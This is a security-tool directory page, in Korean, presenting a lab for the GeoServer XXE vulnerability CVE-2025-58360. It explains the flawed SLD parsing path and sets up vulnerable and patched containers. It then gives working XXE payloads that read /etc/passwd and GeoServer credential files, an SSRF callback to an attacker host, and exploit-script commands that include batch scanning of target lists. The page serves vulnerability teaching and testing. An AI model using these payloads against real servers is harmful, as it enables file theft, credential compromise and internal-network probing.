Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-58360-GeoServer-XXE | Kitploit
도구/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
8개월 전아직 검토되지 않음

CVE-2025-58360: GeoServer XXE Lab

GeoServer OWS/WMS 서비스에서의 인증되지 않은 XML 외부 엔티티(XXE) 주입

CVSS: 9.8 CRITICAL
영향받는 버전: <= 2.25.5, 2.26.0-2.26.1
수정된 버전: 2.25.6+, 2.26.2+, 2.27.0+

개요

이 랩은 GeoServer의 WMS/OWS XML 요청 처리에서 발생하는 심각한 XXE 취약점인 CVE-2025-58360을 시연합니다. 이 취약점을 통해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 서버 파일시스템에서 임의의 파일 읽기
  • Java의 file:// 핸들러를 통한 디렉터리 내용 나열
  • 내부 서비스에 대한 SSRF 공격 수행
  • GeoServer 구성 파일에서 자격 증명 탈취

근본 원인

GeoServer의 SLDParser.parseSLD() 메서드는 적절한 엔티티 해석 제한 없이 XML 스타일 문서를 처리합니다. OWS 디스패처는 XXE를 차단하기 위해 AllowListEntityResolver를 사용하지만, SLD 파싱 코드 경로는 이 보호를 우회합니다:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

빠른 시작

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

기본 자격 증명: admin / geoserver


악용

파일 읽기

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

취약 버전 응답:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

패치 버전 응답:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

고가치 대상

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

디렉터리 목록

Java의 file:// 핸들러는 디렉터리를 줄바꿈으로 구분된 파일 목록으로 읽습니다:

root@kitploit:~
# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

출력:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

이를 통해 특정 파일을 대상으로 삼기 전에 전체 파일시스템을 열거할 수 있습니다.

SSRF

root@kitploit:~
# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

익스플로잇 스크립트 사용

root@kitploit:~
# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

랩 구성

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

해결 방안

GeoServer 2.25.6+, 2.26.2+ 또는 2.27.0+로 업그레이드하십시오


면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하십시오.


El Perro Joke

도구 다운로드